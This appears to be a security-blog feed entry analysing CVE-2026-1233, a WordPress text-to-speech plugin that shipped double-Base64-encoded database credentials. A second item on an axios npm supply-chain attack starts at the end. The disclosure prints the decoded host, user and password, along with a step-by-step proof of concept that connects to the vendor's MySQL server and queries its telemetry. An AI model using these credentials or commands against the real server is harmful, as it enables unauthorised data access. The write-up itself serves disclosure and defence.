&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1233&quot;&gt;CVE-2026-1233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.5 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Use of Hard-coded Credentials (CWE-798)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/text-to-speech-tts.1.9.8.zip&quot;&gt;&amp;lt;= 1.9.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/text-to-speech-tts.1.9.9.zip&quot;&gt;1.9.9&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 3, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Last Updated&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;April 4, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/kazuma-matsumoto&quot;&gt;Kazuma Matsumoto — GMO Cybersecurity by IERAE, Inc.&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/text-to-speech-tts/text-to-speech-tts-by-mementor-198-use-of-hardcoded-password-to-unauthenticated-remote-database-access&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patch Changeset&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3453258/text-to-speech-tts&quot;&gt;SVN r3453258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;The Text to Speech for WP (AI Voices by Mementor) plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.9.8. This is due to the plugin containing hardcoded MySQL database credentials for the vendor&apos;s external telemetry server in the &lt;code&gt;Mementor_TTS_Remote_Telemetry&lt;/code&gt; class. This makes it possible for unauthenticated attackers to extract and decode these credentials, gaining unauthorized access to the vendor&apos;s telemetry database.&lt;/p&gt;
&lt;p&gt;The credentials are embedded directly in the plugin source code distributed to every WordPress site running the plugin. They are protected only by double Base64 encoding — a trivial, reversible transformation — meaning any party who can read the plugin&apos;s PHP source (anyone who downloads the plugin from &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt;) can immediately decode and use the credentials to connect directly to the vendor&apos;s MySQL server. No WordPress installation is required to exploit this; the plugin ZIP alone is sufficient.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable File&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;includes/class-mementor-tts-remote-telemetry.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This class (introduced in version 1.4.2) implements a telemetry system that daily aggregates plugin usage statistics from each WordPress installation and uploads them to the vendor&apos;s remote MySQL database via a direct &lt;code&gt;mysqli&lt;/code&gt; connection.&lt;/p&gt;
&lt;h3&gt;Vulnerable Class Properties&lt;/h3&gt;
&lt;p&gt;The class declares four private properties holding the double-Base64-encoded database credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Mementor_TTS_Remote_Telemetry {

    /**
     * Encrypted database credentials
     * These are obfuscated to prevent easy access
     */
    private $enc_host = &apos;YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9&apos;;
    private $enc_db   = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=&apos;;
    private $enc_user = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09&apos;;
    private $enc_pass = &apos;UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The developer comment — &lt;em&gt;&quot;These are obfuscated to prevent easy access&quot;&lt;/em&gt; — reveals the intent but also the fundamental error: &lt;strong&gt;Base64 is encoding, not encryption&lt;/strong&gt;. It requires no key, no secret, and is entirely reversible by anyone with an internet connection.&lt;/p&gt;
&lt;h3&gt;Vulnerable Function: &lt;code&gt;insert_remote_data()&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;insert_remote_data()&lt;/code&gt; private method, called daily by &lt;code&gt;send_daily_telemetry()&lt;/code&gt; on a scheduled WordPress cron job, decodes these properties and opens a live &lt;code&gt;mysqli&lt;/code&gt; connection directly from the WordPress server to the vendor&apos;s database:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function insert_remote_data($data) {
    // Decrypt credentials
    $host     = base64_decode(base64_decode($this-&amp;gt;enc_host));
    $dbname   = base64_decode(base64_decode($this-&amp;gt;enc_db));
    $username = base64_decode(base64_decode($this-&amp;gt;enc_user));
    $password = base64_decode(base64_decode($this-&amp;gt;enc_pass));

    // Create connection using mysqli
    $mysqli = new mysqli($host, $username, $password, $dbname);

    if ($mysqli-&amp;gt;connect_error) {
        if (mementor_tts_is_debug_enabled()) {
            error_log(&apos;Mementor TTS: Failed to connect to telemetry database&apos;);
        }
        return false;
    }

    $mysqli-&amp;gt;set_charset(&apos;utf8mb4&apos;);

    $sql = &quot;INSERT INTO {$this-&amp;gt;table_name} (
        domain, date, user_type, plugin_version, pro_version,
        generations, characters_total, shared_api_uses, shared_api_characters,
        pro_api_uses, pro_api_characters, user_api_uses, user_api_characters,
        errors, php_version, wp_version, country, created_at
    ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
    ON DUPLICATE KEY UPDATE ...&quot;;

    // Prepare and execute ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Decoded Credentials&lt;/h3&gt;
&lt;p&gt;Applying &lt;code&gt;base64_decode(base64_decode(...))&lt;/code&gt; to each property yields the plaintext credentials embedded in the plugin:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Encoded Value&lt;/th&gt;
&lt;th&gt;Decoded Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$enc_host&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;oslo2.mementor.no&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$enc_db&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mementor_ttsplugindata&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$enc_user&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;mementor_ttsplugindatausr&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;$enc_pass&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;E5LngkvZa4QzXTKDBfeF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Execution Path&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;WordPress cron: mementor_tts_send_remote_telemetry (daily)
  └── Mementor_TTS_Remote_Telemetry::send_daily_telemetry()
        └── $this-&amp;gt;prepare_telemetry_data($usage_data)
        └── $this-&amp;gt;insert_remote_data($telemetry_data)
              └── base64_decode(base64_decode($this-&amp;gt;enc_*))  ← credentials decoded from source
              └── new mysqli($host, $username, $password, $dbname)  ← direct DB connection
              └── INSERT INTO tts_usage_data (...)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The class is instantiated during plugin initialization, meaning the credentials are &lt;strong&gt;always present in the plugin&apos;s distributed source code&lt;/strong&gt; and accessible to any party who can read the plugin files — without any authentication to WordPress whatsoever.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The developer&apos;s mistaken belief that Base64 encoding constitutes a meaningful security control. &lt;code&gt;private&lt;/code&gt; class properties in PHP are only private within the running process — they are an OOP access modifier, not a security boundary. They do not prevent static analysis of the distributed source code. Since WordPress plugins are distributed as open-source ZIP archives on &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt;, every copy of the plugin includes the full plaintext-equivalent credentials for the vendor&apos;s external MySQL server.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control&lt;/th&gt;
&lt;th&gt;Why it failed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;private&lt;/code&gt; class properties&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Restricts runtime access within PHP OOP only. Has zero effect on source code inspection or static analysis.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Double Base64 encoding&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Not encryption. No key, no cipher. Base64 is a one-to-one encoding that any developer, script, or online tool can reverse in milliseconds. The source code comment even calls it &quot;obfuscated to prevent easy access&quot; — but it provides none.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No network-layer restriction&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The MySQL port must be publicly reachable for this direct-connection model to function. With valid credentials, any IP can connect.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An unauthenticated attacker who reads the plugin source code can:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Extract and decode&lt;/strong&gt; the MySQL credentials from any installed copy of the plugin — or directly from the &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt; plugin repository ZIP, with no WordPress site required.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connect directly&lt;/strong&gt; to the vendor&apos;s MySQL server at &lt;code&gt;oslo2.mementor.no&lt;/code&gt; on port 3306 using the decoded credentials.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read&lt;/strong&gt; all telemetry data in the &lt;code&gt;tts_usage_data&lt;/code&gt; table — including the domain names, WordPress versions, PHP versions, geographic country data, and API usage metrics of &lt;strong&gt;all sites running the plugin&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Write or modify&lt;/strong&gt; records in the telemetry database via &lt;code&gt;INSERT ... ON DUPLICATE KEY UPDATE&lt;/code&gt;, poisoning the vendor&apos;s analytics.&lt;/li&gt;
&lt;li&gt;Potentially &lt;strong&gt;escalate&lt;/strong&gt; if the database user holds broader MySQL privileges beyond the &lt;code&gt;tts_usage_data&lt;/code&gt; table.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The primary confirmed impact (per CVSS C:H) is unauthorized read access to the vendor&apos;s telemetry database, which aggregates sensitive site metadata from all plugin users.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only. The vendor has issued a patch (1.9.9) and should have rotated the exposed credentials. Do not attempt to access any system without explicit written authorization.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Access to the plugin ZIP for any version &lt;code&gt;&amp;lt;= 1.9.8&lt;/code&gt; (publicly available from &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt; SVN — no account required)&lt;/li&gt;
&lt;li&gt;No WordPress installation required — the plugin files alone contain the credentials&lt;/li&gt;
&lt;li&gt;Standard tools: &lt;code&gt;curl&lt;/code&gt;, &lt;code&gt;unzip&lt;/code&gt;, &lt;code&gt;python3&lt;/code&gt;, and optionally a &lt;code&gt;mysql&lt;/code&gt; client&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 1: Obtain the Plugin Source&lt;/h3&gt;
&lt;p&gt;Download any version of the plugin &lt;code&gt;&amp;lt;= 1.9.8&lt;/code&gt; directly from the &lt;a href=&quot;http://WordPress.org&quot;&gt;WordPress.org&lt;/a&gt; plugin repository:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -L -o text-to-speech-tts-1.9.8.zip \
  &quot;https://downloads.wordpress.org/plugin/text-to-speech-tts.1.9.8.zip&quot;

unzip text-to-speech-tts-1.9.8.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No authentication is required — the plugin is publicly distributed under an open-source license.&lt;/p&gt;
&lt;h3&gt;Step 2: Locate the Hardcoded Credentials&lt;/h3&gt;
&lt;p&gt;Inspect the telemetry class:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -A5 &quot;enc_host&quot; \
  text-to-speech-tts/includes/class-mementor-tts-remote-telemetry.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output from the v1.9.8 source:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private $enc_host = &apos;YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9&apos;;
private $enc_db   = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=&apos;;
private $enc_user = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09&apos;;
private $enc_pass = &apos;UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: Decode the Credentials&lt;/h3&gt;
&lt;p&gt;Replicate the plugin&apos;s own decoding logic — &lt;code&gt;base64_decode(base64_decode($value))&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

encoded = {
    &apos;host&apos;: &apos;YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9&apos;,
    &apos;db&apos;:   &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=&apos;,
    &apos;user&apos;: &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09&apos;,
    &apos;pass&apos;: &apos;UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==&apos;,
}

for key, val in encoded.items():
    decoded = base64.b64decode(base64.b64decode(val)).decode()
    print(f&quot;{key}: {decoded}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;host: oslo2.mementor.no
db:   mementor_ttsplugindata
user: mementor_ttsplugindatausr
pass: E5LngkvZa4QzXTKDBfeF
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 4: Connect to the Remote Database&lt;/h3&gt;
&lt;p&gt;With the decoded credentials, a standard MySQL client connects directly to the vendor&apos;s server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql -h oslo2.mementor.no \
      -u mementor_ttsplugindatausr \
      -p&apos;E5LngkvZa4QzXTKDBfeF&apos; \
      mementor_ttsplugindata
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the plugin&apos;s direct-connection model to have worked, port 3306 must have been publicly accessible. With valid credentials, this command yields an authenticated MySQL session.&lt;/p&gt;
&lt;h3&gt;Step 5: Extract Telemetry Data&lt;/h3&gt;
&lt;p&gt;Once connected, an attacker can query all collected telemetry across every plugin user&apos;s site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT domain, date, user_type, plugin_version, wp_version,
       php_version, country, generations, characters_total
FROM tts_usage_data
ORDER BY date DESC;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This exposes the domain names, software versions, geographic locations, and usage statistics for every WordPress installation that ran the plugin.&lt;/p&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;The attacker obtains authenticated MySQL access to the vendor&apos;s external telemetry database, gaining the ability to read usage metadata for all plugin users and to write or modify telemetry records.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;p&gt;Successful exploitation is confirmed by receiving a &lt;code&gt;mysql&amp;gt;&lt;/code&gt; shell prompt after Step 4, with the ability to execute &lt;code&gt;SHOW TABLES;&lt;/code&gt; and &lt;code&gt;SELECT&lt;/code&gt; queries against &lt;code&gt;mementor_ttsplugindata&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Modified file:&lt;/strong&gt; &lt;code&gt;includes/class-mementor-tts-remote-telemetry.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The patch makes a single architectural change: it removes the direct MySQL connection model entirely and replaces it with an HTTPS API call. No credentials of any kind are shipped in the distributed plugin code.&lt;/p&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;In version 1.9.9, all four hardcoded credential properties are removed from the class and replaced with a single HTTPS endpoint URL:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-    /**
-     * Encrypted database credentials
-     * These are obfuscated to prevent easy access
-     */
-    private $enc_host = &apos;YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9&apos;;
-    private $enc_db   = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=&apos;;
-    private $enc_user = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09&apos;;
-    private $enc_pass = &apos;UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==&apos;;
+    /**
+     * Remote telemetry API endpoint
+     * Uses secure HTTPS API instead of direct database connection
+     */
+    private $api_endpoint = &apos;https://crm.mementor.no/plugin/api/telemetry/v1/collect.php&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;insert_remote_data()&lt;/code&gt; method no longer decodes credentials or opens a raw TCP connection to MySQL. Instead, it builds a signed HTTPS POST request using WordPress&apos;s &lt;code&gt;wp_remote_post()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-    private function insert_remote_data($data) {
-        $host     = base64_decode(base64_decode($this-&amp;gt;enc_host));
-        $username = base64_decode(base64_decode($this-&amp;gt;enc_user));
-        $password = base64_decode(base64_decode($this-&amp;gt;enc_pass));
-        $dbname   = base64_decode(base64_decode($this-&amp;gt;enc_db));
-        $mysqli = new mysqli($host, $username, $password, $dbname);
-        // ... INSERT INTO tts_usage_data ...
+    private function insert_remote_data($data) {
+        $timestamp = time();
+        $nonce = wp_generate_password(16, false);
+        $signature = hash_hmac(&apos;sha256&apos;, $data[&apos;domain&apos;] . $timestamp . $nonce, &apos;mementor_tts_telemetry_v1&apos;);
+        $response = wp_remote_post($this-&amp;gt;api_endpoint, array(
+            &apos;body&apos;      =&amp;gt; wp_json_encode(array(
+                &apos;telemetry_data&apos; =&amp;gt; $data,
+                &apos;timestamp&apos;      =&amp;gt; $timestamp,
+                &apos;nonce&apos;          =&amp;gt; $nonce,
+                &apos;signature&apos;      =&amp;gt; $signature,
+                &apos;api_version&apos;    =&amp;gt; &apos;1.0&apos;
+            )),
+            &apos;sslverify&apos; =&amp;gt; true,
+        ));
+        $response_code = wp_remote_retrieve_response_code($response);
+        return ($response_code &amp;gt;= 200 &amp;amp;&amp;amp; $response_code &amp;lt; 300);
+    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The fix is architecturally correct: by interposing an HTTPS API endpoint on the vendor&apos;s server, the plugin no longer needs to distribute any database credentials at all.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;@@ -21,14 +21,11 @@
-    /**
-     * Encrypted database credentials
-     * These are obfuscated to prevent easy access
-     */
-    private $enc_host = &apos;YjNOc2J6SXViV1Z0Wlc1MGIzSXVibTg9&apos;;
-    private $enc_db   = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlRPT0=&apos;;
-    private $enc_user = &apos;YldWdFpXNTBiM0pmZEhSemNHeDFaMmx1WkdGMFlYVnpjZz09&apos;;
-    private $enc_pass = &apos;UlRWTWJtZHJkbHBoTkZGNldGUkxSRUptWlVZPQ==&apos;;
-
-    /**
-     * Table name for telemetry data
+    /**
+     * Remote telemetry API endpoint
+     * Uses secure HTTPS API instead of direct database connection
+     */
+    private $api_endpoint = &apos;https://crm.mementor.no/plugin/api/telemetry/v1/collect.php&apos;;
+    /**
+     * Table name for telemetry data (used for reference only)
      */

@@ -266,100 +263,73 @@
-    private function insert_remote_data($data) {
-        $host     = base64_decode(base64_decode($this-&amp;gt;enc_host));
-        $dbname   = base64_decode(base64_decode($this-&amp;gt;enc_db));
-        $username = base64_decode(base64_decode($this-&amp;gt;enc_user));
-        $password = base64_decode(base64_decode($this-&amp;gt;enc_pass));
-        $mysqli = new mysqli($host, $username, $password, $dbname);
-        if ($mysqli-&amp;gt;connect_error) { ... return false; }
-        $mysqli-&amp;gt;set_charset(&apos;utf8mb4&apos;);
-        $sql = &quot;INSERT INTO tts_usage_data (...) VALUES (?) ON DUPLICATE KEY UPDATE ...&quot;;
-        $stmt = $mysqli-&amp;gt;prepare($sql);
-        $stmt-&amp;gt;bind_param(&apos;sssssiiiiiiiissss&apos;, ...);
-        $result = $stmt-&amp;gt;execute();
-        $stmt-&amp;gt;close(); $mysqli-&amp;gt;close();
-        return $result;
-    }
+    private function insert_remote_data($data) {
+        $timestamp = time();
+        $nonce = wp_generate_password(16, false);
+        $signature = hash_hmac(&apos;sha256&apos;, $data[&apos;domain&apos;] . $timestamp . $nonce, &apos;mementor_tts_telemetry_v1&apos;);
+        $response = wp_remote_post($this-&amp;gt;api_endpoint, array(
+            &apos;method&apos;     =&amp;gt; &apos;POST&apos;,
+            &apos;timeout&apos;    =&amp;gt; 15,
+            &apos;headers&apos;    =&amp;gt; array(&apos;Content-Type&apos; =&amp;gt; &apos;application/json&apos;, ...),
+            &apos;body&apos;       =&amp;gt; wp_json_encode(array(&apos;telemetry_data&apos; =&amp;gt; $data, ...)),
+            &apos;sslverify&apos;  =&amp;gt; true
+        ));
+        $response_code = wp_remote_retrieve_response_code($response);
+        return ($response_code &amp;gt;= 200 &amp;amp;&amp;amp; $response_code &amp;lt; 300);
+    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Residual Risks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The HMAC signature key (&lt;code&gt;mementor_tts_telemetry_v1&lt;/code&gt;) is still hardcoded in the patched source. Since it is used only for request signing (not database access), its exposure is a significantly lower-severity concern than the original credential leak — but ideally it would also be rotated server-side.&lt;/li&gt;
&lt;li&gt;The vendor must ensure the compromised MySQL credentials have been rotated and that port 3306 at &lt;code&gt;oslo2.mementor.no&lt;/code&gt; is no longer exposed to the public internet.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Unknown&lt;/td&gt;
&lt;td&gt;Vulnerability introduced — &lt;code&gt;Mementor_TTS_Remote_Telemetry&lt;/code&gt; class present since version 1.4.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-02-02&lt;/td&gt;
&lt;td&gt;Version 1.9.8 released (last vulnerable version)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-02-03&lt;/td&gt;
&lt;td&gt;Patched version 1.9.9 released (SVN changeset r3453258)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-03&lt;/td&gt;
&lt;td&gt;CVE-2026-1233 publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-04-04&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Update the &lt;code&gt;text-to-speech-tts&lt;/code&gt; plugin to version 1.9.9 or later immediately.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vendors maintaining telemetry in plugins should:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Never embed database credentials (or any secret) in distributed plugin source code — there is no safe way to do so&lt;/li&gt;
&lt;li&gt;Use a server-side API endpoint as an intermediary (as done in the patch)&lt;/li&gt;
&lt;li&gt;Treat Base64 encoding as transparent to any adversary; it is not obfuscation in any practical sense&lt;/li&gt;
&lt;li&gt;Rotate all credentials that were exposed in prior versions&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/text-to-speech-tts/text-to-speech-tts-by-mementor-198-use-of-hardcoded-password-to-unauthenticated-remote-database-access&quot;&gt;Wordfence Advisory — CVE-2026-1233&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-1233&quot;&gt;CVE-2026-1233 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3453258/text-to-speech-tts&quot;&gt;SVN Patch Changeset r3453258&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/text-to-speech-tts&quot;&gt;Plugin on WordPress.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/kazuma-matsumoto&quot;&gt;Researcher — Kazuma Matsumoto, GMO Cybersecurity by IERAE&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-04-04T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>axios Supply Chain Attack: Malicious Versions Deploy a RAT</title><link>https://hurayraiit.com/blog/npm-supply-chain-attack-axios-malicious-versions-1-14-1-and-0-30-4/</link><guid isPermaLink="true">https://hurayraiit.com/blog/npm-supply-chain-attack-axios-malicious-versions-1-14-1-and-0-30-4/</guid><description>On March 31, 2026, two malicious axios versions were published to npm via a hijacked maintainer account. Here&apos;s what happened, how the malware works, and what to do now.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What Happened&lt;/h2&gt;
&lt;p&gt;On March 31, 2026, two malicious versions of axios were published to npm: &lt;strong&gt;1.14.1&lt;/strong&gt; and &lt;strong&gt;0.30.4&lt;/strong&gt;. Axios gets downloaded somewhere between 100 and 300 million times a week, making it one of the most widely used packages in the JavaScript ecosystem.&lt;/p&gt;
